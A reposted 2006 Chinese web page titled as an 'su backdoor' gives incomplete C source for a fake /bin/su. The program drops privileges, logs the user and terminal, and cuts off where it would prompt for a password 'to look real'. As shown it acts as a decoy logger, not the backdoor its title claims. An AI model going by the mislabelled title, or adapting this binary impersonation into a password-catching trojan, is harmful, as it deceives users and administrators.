一个su后门程序
2006-07-03 20:27:34 来源:WEB开发网#include
#include
char uname[10], tname[20];
extern char *getlogin(), *ttyname();
main (argc, argv)
char **argv;
{
char *key, *t;
/*
* If an intruder is to buy this, we must LOOK like a
* real copy of "/bin/su"
*/
if (geteuid ()) {
fprintf (stderr, "su: not properly installed\n");
exit (1);
} else {
/*
* Become daemon, "Right away!"
*/
setgid (1);
setuid (1);
}
/*
* Discover our uname / location
*/
if ((t = getlogin ()) == NULL)
strcpy (uname, "unknown");
else
strcpy (uname, t);
if ((t = ttyname(2)) == NULL)
strcpy (tname, "unknown");
else
strcpy (tname, t);
/*
* Open log, and gripe!
*/
#ifdef LOG_AUTH
openlog ("su", LOG_PID, LOG_AUTH);
#else
openlog ("su", LOG_PID);
#endif
syslog (LOG_NOTICE, "SU attempt failed by %s on %s\n",
uname, tname);
syslog (LOG_NOTICE, "User tried to become %s using su\n",
(argc > 1 ? argv[1] : "root"));
/*
* Query for a password, to look real
*/
更多精彩
赞助商链接